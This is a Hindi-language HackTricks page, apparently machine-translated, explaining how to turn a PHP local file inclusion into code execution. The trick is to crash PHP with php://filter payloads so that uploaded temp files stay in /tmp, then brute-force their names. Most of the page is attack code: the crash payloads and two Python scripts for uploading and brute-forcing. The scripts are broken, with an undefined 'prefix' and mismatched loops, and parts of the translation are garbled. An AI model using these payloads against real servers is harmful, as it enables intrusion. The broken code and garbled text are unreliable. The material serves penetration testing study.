6.2 KiB
LFI2RCE के माध्यम से सेगमेंटेशन फॉल्ट
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)
हैकट्रिक्स का समर्थन करें
- सदस्यता योजनाएं की जाँच करें!
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 पर फॉलो करें @hacktricks_live.
- हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स HackTricks और HackTricks Cloud github रेपो में PR जमा करके.
लेखन के अनुसार https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (दूसरा भाग) और https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, निम्नलिखित payloads ने PHP में सेगमेंटेशन फॉल्ट का कारण बनाया:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
आपको यह जानना चाहिए कि अगर आप एक POST अनुरोध भेजते हैं जिसमें एक फ़ाइल होती है, तो PHP उस फ़ाइल की सामग्री के साथ /tmp/php<something>
में एक अस्थायी फ़ाइल बनाएगा। यह फ़ाइल स्वचालित रूप से हटा दी जाएगी एक बार अनुरोध प्रोसेस हो जाने के बाद।
अगर आपको एक LFI मिल जाता है और आप PHP में सेगमेंटेशन फॉल्ट को ट्रिगर करने में कामयाब होते हैं, तो अस्थायी फ़ाइल कभी नहीं हटाई जाएगी। इसलिए, आप उसे LFI जोख सकते हैं तकि आप उसे खोज सकें और विचारात्मक कोड का निषेध कर सकें।
आप https://hub.docker.com/r/easyengine/php7.0 का उपयोग परीक्षण के लिए कर सकते हैं।
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
{% hint style="success" %}
सीखें और प्रैक्टिस करें AWS हैकिंग: HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)
सीखें और प्रैक्टिस करें GCP हैकिंग: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)
हैकट्रिक्स का समर्थन करें
- सब्सक्रिप्शन प्लान की जाँच करें!
- 💬 डिस्कॉर्ड ग्रुप ज्वाइन करें या टेलीग्राम ग्रुप में शामिल हों या हमें ट्विटर 🐦 पर फॉलो करें @hacktricks_live.
- HackTricks और HackTricks Cloud github रेपो में PRs सबमिट करके हैकिंग ट्रिक्स साझा करें।